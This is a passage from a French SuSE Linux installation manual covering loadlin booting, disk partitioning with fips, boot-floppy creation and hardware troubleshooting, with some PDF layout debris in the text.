l'exemple donné au paragraphe 2.4.1 page 46, nous avons utilisé \emil et il faut donc entrer \emil (le répertoire suse situé au dessous n'a pas besoin d'être spécifié). 4. Vous devez maintenant sélectionner un noyau adéquat. 5. Nous passons dans cette phase aux paramètres du noyau. On spécifie un paramètre par ligne, une ligne vide signifie terminé. Quels paramètres peuvent être envisagés ici ? Des explications détaillées sur les paramètres du noyau se trouvent au paragraphe 14.1 page 367. Vous trouverez aussi au paragraphe 14.3.2 page 370 une liste complète des paramètres du noyau qui ont un rôle à jouer dans l'installation. 52 ____________________________________________2.5.__Encore_une_méthode_d'installation_:_Setup_et_loadlin______________________* *______________________ 6. Le prochain écran vous demande si le programme loadlin doit être ins- tallé. Répondez `Oui'. Setup crée maintenant le répertoire \loadlin et y copie les fichiers. 7. Nous lançons maintenant le + Linux initial avec l'option `Charger Li- nux'. Environ deux pages de texte édité par le noyau défilent plus ou moins vite sous vos yeux. Si tout a bien marché, linuxrc vous souhaite la bienvenue. Vous pouvez aussi lire les messages du noyau en toute_tran-_ _________ quillité_:_en_les_faisant_défiler_dans les deux sens avec |S___________|hift+ *|_________|Page " et |S___________|hift+ *|_________|Page. # Maintenant l'installation est poursuivie comme il est décrit à partir du para- graphe 2.2.3 page 29. Problèmes éventuels Il peut survenir ici des problèmes à deux niveaux : il n'est pas possible à loadlin de charger ou de démarrer le noyau, ou le noyau ne s'accommode pas de votre matériel : ~ loadlin n'a pas suffisamment de mémoire disponible pour charger le noyau : voir paragraphe 2.7.9 page 63. ~ loadlin ne peut pas démarrer le noyau, la machine tourne en mode vir- tuel 8086 mais il n'y a pas de serveur VCPI disponible : voir para- graphe 2.7.11 page 63. ~ loadlin ne fonctionne pas : voir paragraphe 2.7.10 page 63. ~ Le CD est défectueux : voir paragraphe 2.7.4 page 60. * * 53 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.6 Blocs Info 2.6.1 Faire de la place pour Linux (partitionner) Au cours de cette phase, votre disque dur sera préparé pour recevoir Linux. Il est souhaitable que vous disposiez d'un peu de temps pour approfondir ce chapitre en toute tranquillité. Il vous est conseillé d'avoir des disquettes ou des bandes pour une sauvegarde ainsi qu'une disquette d'amorçage du système d'exploitation que vous aviez jusqu'à présent. Informations complémentaires Par le partitionnement, un disque dur peut être divisé en plusieurs zones in- dépendantes les unes des autres. Une raison d'installer plusieurs partitions est qu'il est possible de faire coexister, sur un même disque dur, différents systèmes d'exploitation ayant des systèmes de fichiers différents. Comment faire maintenant de la place pour les partitions Linux ? ~ Il est possible d'effacer certaines partitions du disque dur, ce qui provoque la perte de tous les fichiers qui se trouvent sur ces partitions. La place qui a été faite est maintenant disponible pour de nouvelles partitions (par exemple pour Linux) et l'espace libre ainsi obtenu peut être réparti entre plusieurs partitions. ~ Vous pouvez aussi dédier certaines partitions à un autre système d'exploi- tation. Mais comme par l'effacement, vous perdez aussi dans ce cas tous les fichiers de ces partitions. ~ Sous MS-DOS ou Windows 95, vous pouvez réduire la taille de la der- nière partition du disque dur sans perdre les fichiers qu'elle contient. Vous devez d'abord faire en sorte, à l'aide d'un programme de défragmen- tation, que tous les fichiers soient vraiment situés au début de la partition. Si vous n'avez qu'une seule partition MS-DOS ou Windows, vous pouvez de cette manière faire très facilement de la place pour les partitions Linux. Après la défragmentation, vous pouvez, avec des programmes spéciaux ~ tels que par exemple le programme entièrement libre fips ~ abaisser la li- mite supérieure des cylindres et réduire ainsi la taille de la partition. Vous trouverez fips sur le CD 1 dans le répertoire dosutils. ~ Une solution très commode mais coûteuse est de doter votre machine d'un disque dur supplémentaire. ________________________________________________________________________________________________________* *________||| | * * ||| | Toutes les modifications apportées au partitionnement doivent être réali- * * ||| | sées avec le plus grand soin et en observant les instructions concernant les * * ||| | * * ||| | logiciels utilisés. Il peut malgré tout survenir des problèmes pouvant aller * * ||| | jusqu'à la perte complète des données ! SuSE ne peut pas en assumer la * * ||| | * * ||| | responsabilité. Il est en tout cas recommandable de sauvegarder aupara- * * ||| | vant au moins les fichiers les plus importants et de tenir disponible une * * ||| | * * ||| | disquette d'amorçage vérifiée. * * ||| |_______________________________________________________________________________________________________* *________|||_ 54 _____________________________________________________________________________________________________________2.6.__Blocs_Inf* *o_____________________ Pas à pas : : : Comment procéder pour partitionner votre disque dur : 1. Si vous ne le savez pas encore, vous devrez vérifier combien de partitions possède votre disque dur et quelle est leur taille. Invoquez pour ce faire le programme fdisk de votre système d'exploitation. 2. Prévoyez le nombre et la taille des partitions dont vous avez besoin. Vous trouverez des informations à ce sujet au paragraphe 2.8 page 67 et au paragraphe 2.9 page 68. 3. Notez par écrit votre plan de partitionnement. Vous aurez besoin de ces informations encore très souvent au cours de l'installation. 4. Il est maintenant fortement conseillé de faire une sauvegarde du disque dur. Si vous ne possédez pas de lecteur de bandes et si vous ne voulez pas tout sauvegarder sur des disquettes, sauvegardez au moins vos don- nées importantes ainsi que les fichiers de démarrage et de configuration (par exemple config.sys, autoexec.bat et *.ini). Générez une dis- quette d'amorçage pour le système d'exploitation que vous aviez jusqu'à présent et faites un essai pour savoir si vous pouvez vous en servir pour amorcer. Sur cette disquette d'amorçage, il vous faut aussi des outils tels qu'un éditeur, fdisk , le programme de formatage et votre programme de sauvegarde. 5. La procédure se poursuit en fonction des caractéristiques du système : ~ DOS/WINDOWS 95/98, une partition sur le disque dur et pas de sauvegarde complète des fichiers (angl. file backup) : Vous devez réduire la taille de la partition sans perdre de données. Déplacez tous les fichiers vers le début de la partition. Vous pouvez utiliser à cette fin par exemple le programme Defrag (MS-DOS 6 ou Windows 95/98). Les programmes de défragmentation ne déplacent pas habituellement les fichiers cachés ni les fichiers système car de tels fichiers peuvent avoir été situés, par une protection logicielle contre le copie, à un em- placement bien défini du disque dur. Si vous êtes sûr que votre disque dur ne contient pas de tels fichiers, vous pouvez désactiver l'attribut caché ou système de tous les fichiers concernés ou, en fonction du programme de défragmentation utilisé, forcer la défragmentation de tels fichiers au moyen de paramètres. Les plus récentes versions de defrag utilisent l'option /P . Le fichier d'échange de Windows (angl. Windows swap file) est aussi un fichier caché. Si le fichier n'est pas bien placé, vous devrez le mettre hors fonction sous Windows dans le ``menu système''. Si vous avez fait suffisamment de place à la fin de la partition, pas- sez au répertoire \dosutils\fips\fips15 du premier CD. Vous y trouverez le programme fips.exe avec lequel vous pourrez réduire la taille de la partition. Dans ce même répertoire, vous trouverez aussi des instructions détaillées que vous devriez absolument étudier, en rai- son de la complexité du sujet, avant de lancer le programme ! D'autre * * 55 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ part, fips.exe ne tourne que sous DOS. Vous devrez donc quitter Win- dows ou mettre Windows 95/98 en mode DOS (voir à ce sujet le para- graphe 2.5.1 page 50). Après avoir exécuté fips.exe , vous aurez une deuxième partition sur votre disque dur. Elle sera plus tard divisée en partitions Linux. ________________________________________________________________________________________________________* *________ | * * ||| | Avec fips.exe du répertoire \dosutils\fips\fips20 , il est possible de * * ||| | réduire la taille de partitions fat32 . Mais avant d'utiliser cette version de * * ||| | * * ||| | Fips, vous devez absolument faire une copie de sauvegarde de vos don- * * ||| | nées ! * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ DOS/Windows 95/98 et plusieurs partitions ou, le cas échéant, sau- vegarde complète des fichiers (angl. file backup) : Vous effacez vos partitions et vous les recréez en réduisant leur taille. Ceci entraîne la perte de toutes les données de ces partitions. Vous de- vrez auparavant sauvegarder tous les fichiers (sauvegarde des fichiers et non pas sauvegarde de l'image) ! Avec fdisk , vous effacerez les an- ciennes partitions et vous créerez la (les) nouvelle(s) partition(s). En- suite vous formaterez la (les) partition(s), vous installerez le système d'exploitation et vous réinstallerez tous les fichiers à partir de la sauve- garde ; vous aviez aussi le programme de sauvegarde sur la disquette. 6. Réamorcez votre machine. 7. Vérifiez maintenant si votre ancien système d'exploitation tourne de nou- veau comme il convient. Vous créerez plus tard, avec YaST , les partitions Linux dans la zone du disque dur mise à disposition. Problèmes éventuels Les problèmes suivants peuvent survenir : ~ La taille de la partition ne peut pas être réduite suffisamment du fait qu'il n'est pas possible de déplacer certains fichiers : voir paragraphe 2.7.1 page 59. ~ Sous DOS ou sous Windows, le lecteur de CD-ROM a maintenant une autre lettre de lecteur. Sous Windows 95/98, le poste de travail reste blo- quée : voir paragraphe 2.7.12 page 64. 2.6.2 Utiliser le CD 2 pour l'amorçage En plus du CD 1, vous disposez du deuxième CD qui permet aussi d'amorcer. Il est cependant utilisé sur le CD 1 un grande image de boot de 2,88 Mo alors que le deuxième CD contient une image traditionnelle de 1,44 Mo. Utilisez le CD 2 dans tous les cas où vous avez la certitude de pouvoir amor- cer à partir d'un CD bien que le processus d'amorçage ne fonctionne pas à partir du CD 1 (solution ``fallback''). Tous les BIOS ne reconnaissent malheu- reusement pas toujours les grandes images de façon correcte. 56 _____________________________________________________________________________________________________________2.6.__Blocs_Inf* *o_____________________ 2.6.3 Créer des disquettes d'amorçage Conditions Vous avez besoin d'une disquette HD de 3,5 pouces formatée et d'un lecteur de disquettes de 3,5 pouces qui doit aussi permettre l'amorçage. Si vous travaillez sous Windows 95/98 : vous ne devriez pas lancer setup dans la boîte MS-DOS mais en mode MS-DOS. Informations complémentaires Le répertoire /disks sur le CD 1 contient quelques images de disquettes. Une telle image peut être copiée sur une disquette au moyen de programmes auxiliaires appropriés. La disquette s'appelle alors disquette d'amorçage. Le ``chargeur'' Syslinux et le programme linuxrc sont également sur ces images de disquettes. Syslinux vous permet, pendant le processus d'amor- çage, de choisir le noyau que vous désirez et, en cas de besoin, de transmettre des paramètres pour le matériel utilisé. ~ Le programme linuxrc vous assiste lors du chargement des modules du noyau spécialement adaptés à votre ma- tériel et démarre ensuite l'installation. Normalement, vous pouvez aussi vous servir de la disquette d'amorçage four- nie par SuSE . Ce n'est que si vous possédez un matériel exotique qui n'est pas supporté par le noyau modulaire de cette disquette ou si vous téléchar- gez une image de disquette à partir d'Internet, par exemple depuis ftp: //ftp.suse.com qu'il vous faudra générer votre propre disquette d'amor- çage de la manière décrite ici. Avec Setup Pas à pas : : : Procédez de cette manière pour créer un jeu de disquettes : 1. Lancez Setup directement à partir du CD 1. 2. Sélectionnez l'option_`Floppy' et appuyez sur |______|-; ensuite `Boot' et de nouveau |_____-|. 3. Vous devez maintenant choisir une disquette avec un noyau adéquat qui supporte votre adaptateur SCSI. Setup vous montre les données essen- tielles concernant les noyaux. Si vous avez besoin d'autres informations, vous pouvez consulter le fichier \disks\readme.dos . Retenez le nom de votre noyau__car vous en aurez encore besoin par la suite. Appuyez ensuite sur |_____-|. 4. Maintenant la disquette va être écrite. Insérez la disquette (formatée DOS) dans le lecteur de 3,5 pouces et choisissez la disquette que vous voulez créer. ~ Occupez-vous seulement de la disquette d'amorçage (boot) (avec SuSE Linux, `Root' _n'est_ plus nécessaire !) : Placez le curseur sur `Boot' et appuyez sur |_____-|. * * 57 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ~ Setup veut_avoir la confirmation qu'une disquette est insérée. Appuyez sur |_____-|. La disquette est écrite. ~ Lorsque la disquette est prête, appuyez sur |______|-. ~ Sélectionnez l'option `Prêt' pour quitter l'écran et Setup . Avec rawrite Vous avez aussi l'alternative d'utiliser le programme DOS (éventuellement plus lent) rawrite.exe (CD 1, répertoire \dosutils\rawrite pour écrire la disquette à l'invite du DOS ! Vous trouverez sur le CD 1, dans le répertoire /disks, les images de dis- quettes standard. Nous vous conseillons de lire les fichiers README qui s'y trouvent également. L'image bootdisk sert de modèle pour la disquette stan- dard. Les noyaux proprement dits sont dans le fichier /suse/images et leurs noms se terminent par .ikr. Si vous avez besoin de la disquette standard fournie avec toute version de SuSE Linux, procédez de la manière suivante. Nous supposons ici que vous vous trouvez dans le répertoire principal du CD : Q:> dosutils\rawrite\rawrite disks\bootdisk Les choses se compliquent quelque peu s'il vous faut, par exemple, un noyau pour les circuits EIDE spéciaux. Dans un tel cas, écrivez tout d'abord l'image standard sur la disquette et remplacez le noyau proprement dit (linux) par le noyau EIDE spécial (par exemple eide.ikr) : Q:> dosutils\rawrite\rawrite disks\bootdisk Q:> copy suse\images\eide.ikr a:\linux 2.6.4 Créer des disquettes d'amorçage avec Unix Conditions Vous avez, sur un système Unix/Linux, un lecteur de CD-ROM parfaitement fonctionnel. Il vous faut une disquette vérifiée (et formatée). Procédez de cette manière pour créer des disquettes d'amorçage : 1. Si vous devez encore formater la disquette : terre: # fdformat /dev/fd0u1440 2. Montez le premier CD (par exemple vers /cdrom) : terre: # mount -tiso9660 /dev/cdrom /cdrom 3. Passez au répertoire disks sur le CD : terre: # cd /cdrom/disks 4. Créez maintenant la disquette d'amorçage avec terre: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k Dans le fichier README du répertoire disks, vous apprendrez ce que peut faire chaque noyau. Vous pouvez lire ces fichiers avec more ou less (au sujet de less , voir le paragraphe 19.7.3 page 489). 58 ___________________________________________________________________________________2.7.__Descriptions_de_problèmes__________* *______________________ 5. S'il vous faut un autre noyau, procédez comme suit : terre: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k terre: # mount -t msdos /dev/fd0 /mnt terre: # cp /cdrom/suse/images/eide.ikr /mnt/linux terre: # umount /mnt 2.6.5 Linux supporte-il mon lecteur de CD-ROM ? On peut dire en règle générale que la plupart des lecteurs de CD-ROM sont supportés. ~ Pour les lecteurs + ATAPI, il ne devrait pas y avoir de problèmes. ~ Pour les lecteurs de CD-ROM SCSI, cela dépend uniquement du contrô- leur SCSI auquel est connecté le lecteur de CD-ROM et qui doit être lui-même supporté. La base de données des composants (CDB) que vous trouverez dans le paquetage cdb, série doc ou sous http://cdb.suse. de/, vous fournit la liste des contrôleurs SCSI supportés. Si votre contrô- leur SCSI n'est pas supporté et si votre disque dur est aussi rattaché au contrôleur, vous avez de toute façon un problème :-( ~ De nombreux lecteurs de CD-ROM spécifiques aux différents fabricants fonctionnent avec Linux. Dans ce groupe on peut néanmoins rencontrer des difficultés. Si votre lecteur n'est pas explicitement mentionné, vous pouvez toujours faire un essai avec un type analogue du même fabricant. ~ Les lecteurs de CD-ROM sur port parallèle sont maintenant très répandus. Malheureusement ils ne sont absolument pas standardisés, de telle sorte qu'il survient régulièrement des problèmes. SuSE Linux contient toute une série de différents pilotes Alpha pour quelques lecteurs. Si aucun de ces pilotes ne fonctionne, il ne reste plus que le détour par la partition DOS. Notez que certains lecteurs supportés par Linux ne sont accessibles que s'ils ont été initialisés par leur pilote DOS et que s'il n'a été fait ensuite qu'un démarrage à chaud : : : 2.7 Descriptions de problèmes 2.7.1 Impossible de déplacer des fichiers Les fichiers qui ont les attributs système ou caché ne sont normalement pas déplacés par les programmes de défragmentation. Pour savoir quels fichiers vous causent des difficultés, vous pouvez avec attrib \*.* /s > faire écrire une liste globale de votre disque dur dans le . Dans cette liste, vous pourrez identifier les fichiers qui posent des problèmes et les rendre déplaçables avec attrib -S -H Vous devez procéder avec toute la prudence qui s'impose pour ne pas détruire de fichiers protégés contre la copie ni de fichiers de transfert permanents ou autres fichiers système spéciaux. Après la défragmentation, vous pourrez ou devrez remettre les attributs dans leur état initial. * * 59 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | Sous Windows, vous pouvez utiliser à cette fin le ``gestionnaire de fichiers'' * * ||| | * * ||| | ou ``l'Explorer''. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous n'obtenez pas de résultat, il vous faudra bien avaler la pilule et mo- difier véritablement le partitionnement de votre disque dur. Cela signifie, en particulier, que vous devrez sauvegarder toutes vos données pour les réinsérer après le repartitionnement. Vous avez bien sûr l'alternative de faire l'acqui- sition d'un disque dur supplémentaire et la baisse constante des prix vous facilitera peut-être ce pas : : : 2.7.2 Pas de clavier français en mode MS-DOS En mode DOS, lancez la commande loadhigh keyb fr`c :\windows\command\keyboard.sys /ID :120 pour la France ou loadhigh keyb be`c :\windows\command\keyboard.sys pour la Belgique ou loadhigh keyb sf`c :\windows\command\keyboard.sys pour la Suisse ou loadhigh keyb cf`c :\windows\command\keyboard.sys pour le Canada, ou insérez cette commande dans le fichier autoexec.bat. Si votre répertoire Windows a un autre nom, vous devez modifier en consé- quence la spécification du chemin. 2.7.3 Pas de pilote de CD-ROM en mode MS-DOS En mode MS-DOS, vous ne disposez que des pilotes qui ont été chargés dans les fichiers config.sys et autoexec.bat. Il est tout à fait raisonnable de renoncer ici au pilote de CD-ROM (et autres) car Windows 95/98 apporte ses propres pilotes. Pour pouvoir utiliser quand même les pilotes en mode MS-DOS, vous devez créer un lien pointant sur une invite d'entrée MS-DOS et créer vos propres fichiers de démarrage dans les propriétés registre `Pro- gramme' sous `Étendue'. Vous devrez insérer vos pilotes dans ces fichiers pour pouvoir les utiliser dans cette boîte DOS. 2.7.4 le CD est défectueux Cette éventualité est plutôt improbable bien qu'on ne puisse pas bien sûr l'exclure complètement. Dans ce cas, adressez-vous en toute confiance à votre revendeur. 2.7.5 Le CD-ROM ATAPI se bloque à la lecture Si votre lecteur de CD-ROM + ATAPI n'est pas reconnu ou se bloque à la lecture, cela provient très souvent du fait que votre matériel n'est pas bien connecté. Normalement, les différents périphériques devraient être connectés en permanence au bus (E)IDE, le premier périphérique en mode maître au premier contrôleur et le deuxième en mode esclave. Le troisième périphérique est connecté en mode maître au deuxième contrôleur et le quatrième en mode esclave. 60 ___________________________________________________________________________________2.7.__Descriptions_de_problèmes__________* *______________________ Mais il arrive très souvent que dans une machine il ne se trouve, à côté du disque dur, que le lecteur de CD-ROM et qu'il soit connecté en tant que maître au deuxième contrôleur. Dans certains cas, Linux ne peut pas contourner cette faille de façon autonome. Il est toutefois possible, dans la plupart des cas, d'aider le noyau à se tirer d'affaire en spécifiant un paramètre adéquat (hdc=cdrom , voir aussi le paragraphe 14.3.2 page 370). Il arrive aussi occasionnellement qu'un lecteur soit tout simplement mal ``branché'' dans ce sens qu'il est configuré en tant qu'esclave tout en étant connecté en tant que maître au deuxième contrôleur, à moins que ce ne soit le contraire. En cas de doute, vous devriez vérifier ces configurations et les corriger si besoin. Il existe en outre toute une série de chipsets EIDE défectueux. Mais ceux-ci sont maintenant connus en grande partie et le noyau contient un code qui lui permet de contourner le problème. Pour ces cas, il existe un noyau spécial (voir le README dans le répertoire /disks du CD-ROM d'installation. Les paramètres du noyau à spécifier sont décrits de façon détaillée au para- graphe 14.3.2 page 370 et au chapitre 13 page 359. _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Si l'amorçage ne fonctionnait pas du premier coup, essayez les paramètres || | |||||||| du noyau mentionnés ci-dessous. ~ Vous devez les entrer à l'invite d'amor- || | |||||||| || | |||||||| çage (boot :) : || | |||||||| boot : linux || | |||||||| || | |||||||| Attention : || | |||||||| N'oubliez pas de spécifier le nom du noyau (linux) devant le nom des || | |||||||| || | |||||||| paramètres proprement dits ! || | ||||||||_______________________________________________________________________________________________________________||_ ~ hd=cdrom - remplace ici a,b,c,d... et signifie : ffl a - Maître connecté au 1er contrôleur IDE ffl b - Esclave connecté au 1er contrôleur IDE ffl c - Maître connecté au 2ème contrôleur IDE ffl : : : Exemple de : hdb=cdrom Avec ce paramètre, vous pouvez faire connaître votre lecteur de CD-ROM au noyau s'il ne parvenait pas à le détecter lui-même et si vous possédez un lecteur de CD-ROM + ATAPI. ~ ide=noautotune - remplace 0,1,2,3 et signifie : ffl 0 - 1er contrôleur IDE ffl 1 - 2ème contrôleur IDE ffl : : : Exemple de : ide0=noautotune Avec les disques durs (E)IDE, ce paramètre se revèle souvent efficace. * * 61 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Vous trouverez d'autres paramètres du noyau au paragraphe 14.3.2 * * |||| || page 370 et pages suivantes. Jetez-y un coup d'oeil si vous avez des dif- * * |||| | ficultés avec certaines systèmes SCSI ou si l'intégration de cartes réseau * * |||| | * * ||| | vous pose des problèmes. * * ||| |_______________________________________________________________________________________________________* *________|||_ 2.7.6 Lecteurs de CD-ROM sur port parallèle Pendant la phase d'installation, Linuxrc vous propose un choix de tous les pilotes disponibles. Généralement, il n'y a rien de particulier à observer. Malheureurement, de nombreux lecteurs (par exemple Freecom ) ne sont pas encore supportés. Il arrive même occasionnellement que certains lecteurs ne puissent pas être utilisés bien qu'à en croire leur étiquette ils soient d'un type identique. Les constructeurs ont apparemment fait des modifications internes sans donner au produit une nouvelle dénomination qui rendrait ces modifications évidentes : : : Quelques lecteurs doivent être initialisés par le pilote DOS correspondant pour que le noyau Linux puisse les reconnaître : 1. Amorcez DOS et faites charger le pilote de CD-ROM. 2. Insérez la disquette d'amorçage Linux. 3. Procédez à un démarrage à chaud. Avec des lecteurs non supportés, il est toujours nécessaire d'effectuer l'ins- tallation par le biais d'une partition DOS (voir paragraphe 2.4 page 46). Pour la programmation du port parallèle sous Linux, voir http://www. torque.net/linux-pp.html. 2.7.7 Lecteurs de CD-ROM ``propriétaires'' Pour les lecteurs Mitsumi, il existe différents pilotes ! Les pilotes Mitsumi spéciaux gèrent explicitement les ``vieux'' lecteurs connectés à leur propre contrôleur (par exemple LU-005 ou FX-001). Pour les lecteurs plus récents (tels que FX-400) c'est l'option `ATAPI EIDE' qui doit être sélectionnée ! Ceci est également valable pour les lecteurs de Sony et Aztech. Le pilote MCDX Mitsumi se distingue du pilote Mitsumi ``normal'' unique- ment par le fait qu'il est capable de lire des CD multisessions. Il est donc pratiquement sans importance pour l'installation que vous utilisiez l'un ou l'autre. Nous avons toutefois décidé de proposer explicitement ce pilote car il peut arriver, dans certains cas, que seul l'un des deux pilotes fonctionne et que l'on veuille alors mettre toutes les chances de son côté. 2.7.8 Thinkpad ``s'endort'' pendant l'installation À un point quelconque du processus d'installation, il se produit un arrêt :-( Il ne nous est pas encore possible de vous proposer une solution valable sur un plan général. Une méthode qui semble praticable, du moins pour de vieux modèles, consiste à démarrer l'installation à partir de DOS avec setup.exe et de charger Linux avec loadlin (voir paragraphe 2.5 page 50). 62 ___________________________________________________________________________________2.7.__Descriptions_de_problèmes__________* *______________________ Ces tuyaux nous ont été communiqués au fil du temps ; il nous intéresse toujours de connaître vos réactions et commentaires : ~ Placez dans le BIOS du notebook tout ce qui a pour but de vous faire éco- nomiser de l'énergie ; mots-clés : ``suspend mode'', ``power management'', ``sleep features''. ~ Si vous démarrez à partir de DOS, chargez votre pilote de CD-ROM dans config.sys avec l'option /S (pour sleep ) ; remplacez et par vos propres valeurs : DEVICE = :\\IBMTPCD.SYS /S ~ Pendant l'installation, évitez tout accès au lecteur de disquettes. 2.7.9 loadlin n'a pas suffisamment de mémoire pour charger le noyau Vous n'avez pas suffisamment de mémoire disponible au dessous de 640 Ko. Essayez de retirer quelques pilotes des fichiers de démarrage du système ou de les charger dans une zone de mémoire plus haute. Si vous avez, sous Windows 95/98, des lecteurs compressés et si le charge- ment du pilote dans une zone de mémoire haute ne donne aucun résultat, vous devrez décompresser les lecteurs compressés. 2.7.10 loadlin ne fonctionne pas Si vous deviez avoir quelques problèmes avec loadlin , vous pouvez le lancer avec les options -v , -t ou -d . Le mieux est de faire écrire avec C:\> loadlin -d debug.out les informations de débogage dans le fichier debug.out. Vous pourrez en- voyer ce fichier au service d'Assistance Technique de SuSE . Vous rempla- cerez par les données de votre propre système (voir paragraphe 4.9.1 page 144). 2.7.11 DOS tourne en mode protégé loadlin ne peut amorcer le noyau que si la machine se trouve soit en mode réel, soit en mode virtuel 8086 (avec un serveur VCPI disponible). Si vous travaillez sous Windows 95/98, vous devrez mettre votre machine en mode MS-DOS. ~ Pour cela, vous vous servirez du bouton `Démarrer', `Arrêter : : : ', `Redémarrer l'ordinateur en mode MS-DOS' ou ~ vous créerez un lien vers l'invite d'entrée de MS-DOS et vous modifierez les caractéristiques de cette manière : dans le registre `Programme', vous choisirez `Étendue'et vous marquerez d'une croix `Mode MS-DOS'. Si l'invite d'entrée est maintenant démarrée, votre machine passe en mode MS-DOS. * * 63 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ 2.7.12 Dénomination du lecteur de CD-ROM Si vous avez créé avec fips une autre partition sur le disque dur, il s'agit d'une partition DOS. Pour cette raison, les lettres de lecteur sont décalées et le lecteur de CD-ROM n'est plus par exemple D : mais E : Après modification des types de partition avec YaST , tout rendre dans l'ordre et le lecteur de CD-ROM redevient D : Si vous avez des difficultés, sous Windows 95/98, à ouvrir Explorer ou le poste de travail, c'est qu'il essaie encore d'accéder à D : (pour nous en tenir à cet exemple). Vous devez lui venir en aide avec le panneau de configuration et entrer l'identification du lecteur de CD-ROM. 2.7.13 Problèmes d'ordre général avec le matériel Vous rencontrez un ou plusieurs des phénomènes suivants : ~ Problèmes de synchronisation lors de l'accès au lecteur de CD-ROM (blo- cage, longue attente, erreur du bus, fautes de segmentation). ~ La génération du noyau (ou d'autres programmes) avorte avec le signal 11 ou le signal 7. ~ Contenu de fichier erroné ~ Erreur lors de l'accès à la mémoire ~ Erreur lors de la représentation graphique ~ Erreur crc lors de l'accès au lecteur de disquettes ~ Plantage ou blocage pendant la procédure d'amorçage ~ Erreur lors de la création des systèmes de fichiers (message d'erreur de mke2fs ) ~ Erreur lors de l'installation de la zone de swap ~ Autres comportements ``bizarres'' du système lors de l'accès au matériel Informations de fond Ces phénomènes étranges sont très probablement dûs à un matériel défec- tueux ou configuré de façon trop critique. Ils sont causés par certaines cartes mères qui ont de toute évidence des problèmes de synchronisation. Ces pro- blèmes se manifestent par des erreurs sur le bus (CPU-Memory-PCI-ISA). Même si votre matériel fonctionne bien par exemple sous DOS ou Windows, ceci n'est pas une garantie, ni pour sa stabilité ni pour sa configuration. Bien qu'un tel matériel s'accommode de l'accès mémoire lent et segmenté d'un CPU en mode réel 16 bits (sous DOS ou Windows), il se produit des erreurs dès qu'il est accédé à la mémoire en mode linéaire avec salves de 32 bits. Une autre cause peut être constituée par un mauvais refroidissement du CPU ou par des modules RAM (SIMMS) défectueux (par exemple vulnérables à la chaleur). Des erreurs dans le cache de second niveau (inconsistance, problèmes de température) peuvent aussi provoquer les effets cités ci-dessus. La faute incombe donc au matériel et non pas à Linux qui met uniquement ces problèmes en évidence. 64 ___________________________________________________________________________________2.7.__Descriptions_de_problèmes__________* *______________________ Linux se montre plus exigeant que d'autres systèmes d'exploitation vis-à-vis du matériel, ce qui provoque par exemple les difficultés mentionnées plus haut. Linux doit toujours avoir la garantie que la base matérielle fonctionne de façon stable. Si ce n'est pas le cas, Linux refuse (à juste titre) le service. Un système d'exploitation qui continue à tourner avec un matériel défectueux ou potentiellement défectueux constitue un risque non négligeable pour la sécurité. Voir http://www.bitwizard.nl/sig11. Que faire ? Il existe toute une série de paramètres et de conditions que l'on peut ``mani- puler'' afin d'isoler au moins le composant défecteux ou fonctionnant mal. ~ Désactiver le cache interne et/ou externe : par réglage du BIOS (CMOS). ~ Réduire la fréquence du bus (VLB 40MHz au maximum ! Bus PCI, selon la spécification, au maximum 66 MHz de fréquence externe) : par réglage du BIOS ou par des cavaliers (angl. jumpers) sur la carte. ~ Augmenter le nombre des états d'attente lors de l'accès du CPU à la mémoire centrale ou au cache : par réglage du BIOS. ~ Vérifier si une option `15-16M Memory Hole' est active dans le Setup du BIOS : le cas échéant, désactivez-la ! Linux ne s'attend pas à trouver de tels ``trous''. ~ Dans (Advanced) Chipset Setup, si cette option existe, activer `CAS be- fore RAS' : par réglage du BIOS. ~ Vérifier les modules mémoire : ~ Ce sont particulièrement les types différents de circuits et modules qui créent régulièrement des problèmes ! ~ Pour un bus PCI avec 66 MHz, les modules DRAM doivent être spé- cifiés avec 60 ns ou même moins ~ pas de sur-cadence (angl. overclo- cking). ~ Vérifiez la fixation des barrettes SIMMS ou DIMMS qui doivent être exactement adaptées, suffisamment serrées et bien en place. Le cas échéant, retirez les modules et remettez-les en place (faites attention aux contacts corrodés !). ~ Modifiez l'ordre des modules et des bancs de mémoire. ~ Assurez-vous que le ventilateur CPU fonctionne et qu'il se trouve exacte- ment sur le CPU (utilisez le cas échéant une pâte conductrice de chaleur). ~ Désactivez la gestion d'énergie propre au système (APM). Ceci est une source d'erreur fréquente tout particulièrement pour Adaptec 2940 ainsi qu'il a été constaté à plusieurs reprises : par réglage du BIOS. ~ Certains clones de Pentium créent des difficultés lorsque le noyau ou le compilateur a été optimisé Pentium et qu'il n'est pas utilisé un véritable Pentium mais par exemple un AMD K6 ou Cyrix 6x86. Dans un tel sys- tème, optimisez le noyau ou les programmes pour les processeurs 486 au maximum, le cas échéant seulement pour les 386. Utilisez le noyau standard de SuSE (voir paragraphe 3.6.2 page 103). * * 65 2. Première installation_de_SuSE______Linux_______________________________________________________________________________________* *_______________________________________@ ~ Contrôlez les paramètres généraux dans le Setup du BIOS et activez éven- tuellement l'option (conservatrice) `BIOS-Defaults'. ~ Dans le cas d'un BIOS PC défectueux, le seul recours est une mise à jour du BIOS. Adressez-vous à votre revendeur ou au fabricant. ~ L'alimentation ne fournit pas suffisamment d'énergie ou l'alimentation en énergie est instable. Tentez de mettre hors fonction certains périphériques. ~ Renoncez au ``Busmaster DMA'' appelé aussi ``UDMA'' ou ``Ultra DMA''. Veillez à ce que les câbles EIDE soient courts et de bonne qualité. 66 __________________________________________________________________________2.8.__Partitionnement_pour_débutants______________* *______________________ 2.8 Partitionnement pour débutants Vous n'êtes pas encore familiarisé avec Linux et son système de fichiers. Vos questions sont les suivantes : Combien d'espace doit-on mettre à la disposi- tion de Linux ? De combien a-t-on absolument besoin ? Combien devrait-on avoir ? Combien est-il utile d'avoir ? Comment doit-on répartir l'espace ? Types de partitions pour le PC Chaque disque dur contient une table des partitions qui permet de faire quatre entrées. Chaque entrée dans la table des partitions 